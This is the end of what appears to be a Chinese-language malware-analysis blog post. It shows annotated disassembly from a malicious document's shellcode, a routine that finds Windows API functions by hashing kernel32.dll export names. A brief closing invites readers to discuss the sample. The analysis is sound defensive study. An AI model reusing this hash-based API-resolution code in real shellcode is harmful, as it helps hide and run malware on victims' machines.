0935 movsx   edx, byte ptr [eax] ; / Create checksum for function's name
0938 cmp     dh, dl          ;     |
093A jz      short loc_944   ;     | Break if the hit string termination
093C ror     esi, 7          ;     |
093F add     esi, edx        ;     |
0941 inc     eax             ;     |
0942 jmp     short loc_935   ;     \
0944 ; ------------------------------------------------------
0944
0944 loc_944:                ; CODE XREF: get_func+24j
0944 cmp     [edi], esi      ; Compare the current checksum
0944                         ; against the checksum list
0946 pop     esi
0947 jnz     short loc_92E   ; if not equal iterate to the next
0947                         ; function in the export table
0949 pop     edx
094A mov     ebp, ebx        ;  / Obtain the function's entry address
094C mov     ebx, [edx+24h]  ;  | directly by parsing
094F add     ebx, ebp        ;  | kernel32.dll structure
0951 mov     cx, [ebx+ecx*2] ;  |
0955 mov     ebx, [edx+1Ch]  ;  |
0958 add     ebx, ebp        ;  |
095A mov     eax, [ebx+ecx*4];  |
095D add     eax, ebp        ;  |
095F stosd                   ;  \ Replace the function's checksum
095F                         ;    with its handle
0960 pop     esi
0961 pop     edi
0962 add     edi, 4          ; Move on to the next checksum
0962                         ; in the list
0965 pop     eax
0966 pop     ebx
0967 retn
0967 get_func endp
大致上就是這樣子。由於架構完整並內含數個較新的技術,我們認為 docx.image 架構會成為以後惡意文件攻擊的樣版。若有興趣對於分析內容做討論,或討論其他樣本,歡迎聯絡阿碼的 Wayne

0 篇回應 :

張貼留言